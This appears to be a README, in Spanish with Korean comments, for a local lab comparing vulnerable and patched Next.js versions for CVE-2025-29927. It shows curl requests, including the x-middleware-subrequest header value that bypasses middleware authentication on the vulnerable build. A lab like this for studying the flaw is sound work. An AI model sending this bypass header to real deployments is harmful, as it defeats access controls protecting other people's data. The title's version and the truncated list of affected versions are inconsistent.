
vulnerable-nextjs-14-CVE-2025-29927
Este repositorio es un proyecto monorepo que permite comparar la vulnerabilidad de middleware CVE-2025-29927 utilizando las versiones Next.js 15.2.3 y Next.js 15.1.7.
CVE-2025-29927 es una vulnerabilidad de seguridad descubierta en el middleware de Next.js que permite eludir el middleware de autenticación mediante el encabezado x-middleware-subrequest. Esta vulnerabilidad afecta a las siguientes versiones:
pnpm installpnpm dev$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # 취약한 버전
│ └── next15_2_3/ # 패치된 버전
├── packages/
│ └── ui/ # 공유 UI 컴포넌트
└── README.md